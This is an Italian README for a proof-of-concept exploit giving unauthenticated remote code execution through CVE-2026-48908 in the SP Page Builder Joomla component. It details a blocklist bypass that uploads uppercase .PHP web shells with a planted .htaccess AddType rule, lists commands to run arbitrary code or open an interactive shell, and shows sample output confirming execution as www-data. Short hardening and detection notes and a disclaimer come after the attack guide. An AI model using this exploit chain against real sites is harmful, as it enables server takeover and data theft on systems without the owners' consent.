
PoC di RCE non autenticato per CVE-2026-48908 — SP Page Builder per Joomla (≤ 6.6.1): caricamento arbitrario di file tramite asset.uploadCustomIcon. Auto-pulente, protetto da token. Solo per test autorizzati.
| CVE | CVE-2026-48908 |
| Weakness | CWE-284 Controllo degli accessi improprio → Upload di file arbitrario non autenticato → RCE |
| Component | SP Page Builder (com_sppagebuilder) per Joomla |
| Affected | 1.0.0 – 6.6.1 |
| Fixed in | 6.6.2 |
| Privileges required | Nessuno (pre-autenticazione) |
| User interaction | Nessuna |
SP Page Builder espone la task del controller asset.uploadCustomIcon per gestire il caricamento
di un pacchetto di icone-font personalizzato:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
Nelle versioni vulnerabili questa task è raggiungibile senza autenticazione e senza un token
anti-CSRF valido. Accetta un archivio ZIP (campo multipart custom_icon) e ne estrae il contenuto
in una directory servita pubblicamente sotto la document root:
/media/com_sppagebuilder/assets/iconfont/<name>/ (inclusa la sottocartella fonts/)
Poiché l'upload è raggiungibile in pre-autenticazione e i file estratti finiscono nella web root, un attaccante può scrivere file controllati in una posizione navigabile e raggiungerli via HTTP.
Alcune build aggiungono un filtro lato server sui nomi dei file nell'archivio. Questo PoC aggira una implementazione comune di tale filtro con una catena in tre passaggi:
.php, .phtml, .phar,
.php3–.php8, .pht, .inc, … minuscoli, ma non normalizza le maiuscole, quindi
.PHP (e altre varianti con maiuscole miste) e .htaccess passano.<FilesMatch "\.php$">)
esegue solo .php minuscolo, quindi un .PHP caricato viene inizialmente servito come testo
sorgente, non eseguito..htaccess. Un .htaccess (che anche la blocklist non intercetta) contenente
AddType application/x-httpd-php .PHP viene inserito accanto al payload. Dove AllowOverride
lo consente, questo registra .PHP come PHP e la shell caricata viene eseguita.Il PoC impacchetta sempre una struttura icon-font valida (selection.json, style.css,
fonts/<name>.ttf) così l'upload viene accettato, poi aggiunge la shell.
Adattivo — scorre un elenco di estensioni eseguibili da PHP (prima quelle con minor impatto), poi un
fallback con .htaccess, e si ferma al primo metodo che esegue realmente codice:
fonts/<shell>.<ext> per ciascuna di
php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php. Nessun .htaccess.
Diversi filtri di SP Page Builder bloccano insiemi diversi e diverse configurazioni Apache eseguono
estensioni diverse — quindi trova qualunque combinazione che il target consenta ed esegua.fonts/.htaccess + fonts/<shell>.PHP (fallback) — solo se ogni tentativo diretto fallisce.
Il .htaccess inserito (AddType … .PHP) forza l'esecuzione di un .PHP maiuscolo dove
AllowOverride lo consente (è ciò che serve agli host stile 5.4.6).Si ferma al primo metodo che esegue e stampa quale ha funzionato. Ogni upload accettato viene
tracciato, quindi --cleanup rimuove tutti (più tentativi possono lasciare directory
solo-scrittura).
A seconda della versione e dell'hardening del server il risultato varia, e il PoC lo dichiara esplicitamente (vedi Esiti sotto): RCE completa, solo scrittura file (PHP disabilitato /
AllowOverride None), corretto (solo admin), o non vulnerabile.
pip install -r requirements.txt # requests
# conferma la vulnerabilità e prova l'esecuzione di codice (esegue `id`)
python3 sppb_rce.py https://target.example
# esegue un comando specifico
python3 sppb_rce.py --url target.example -c "uname -a"
# pseudo-shell interattiva
python3 sppb_rce.py https://target.example --shell
# solo verifica; non esegue comandi
python3 sppb_rce.py https://target.example --check
# rimuove la directory del payload caricato al termine
python3 sppb_rce.py https://target.example --cleanup
Il target può essere fornito come argomento posizionale o tramite --url, con o senza schema.
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
Il PoC comunica sempre il verdetto per il target:
| Output | Significato | Exit |
|---|---|---|
CODE EXECUTION CONFIRMED via '<method>' | Vulnerabile — RCE completa non autenticata | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | Solo scrittura file (AllowOverride None / PHP disabilitato in /media) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | Corretto — l'upload ora richiede autenticazione admin | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | Non sfruttabile / componente non presente | 2 |
404 a
chiunque non lo possieda — non è una backdoor aperta a tutti.--cleanup elimina la directory del payload creata.id, un marcatore aritmetico)./media/, /images/, /tmp) tramite
il pool FPM o php_admin_flag engine off.AllowOverride None su quelle directory così un .htaccess inserito non può
riabilitare gli handler..php/.PHP inattesi sotto media/.../iconfont/, nuovi
account Super User e file manager piantati.Exploit Joomla SP Page Builder · com_sppagebuilder RCE non autenticata · PoC CVE-2026-48908 · asset.uploadCustomIcon upload file arbitrario · esecuzione remota di codice Joomla · script exploit per pentest.
Questo software è pubblicato solo a scopo educativo e per test di sicurezza autorizzati — ad es. test di penetrazione che hai esplicito permesso di eseguire, programmi bug-bounty che includono il target nello scope, competizioni CTF e i tuoi sistemi di laboratorio.
Accedere, modificare o interrompere sistemi informatici senza autorizzazione è illegale nella maggior parte delle giurisdizioni. Sei l'unico e intero responsabile delle tue azioni. Usando, scaricando o distribuendo questo codice accetti che:
Se non accetti questi termini, non usare questo software. Come per qualsiasi exploit/PoC pubblicamente disponibile, è condiviso in buona fede per aiutare i difensori a rilevare, comprendere e correggere la vulnerabilità; ciò che ne fai è una tua responsabilità.
MIT — vedi LICENSE.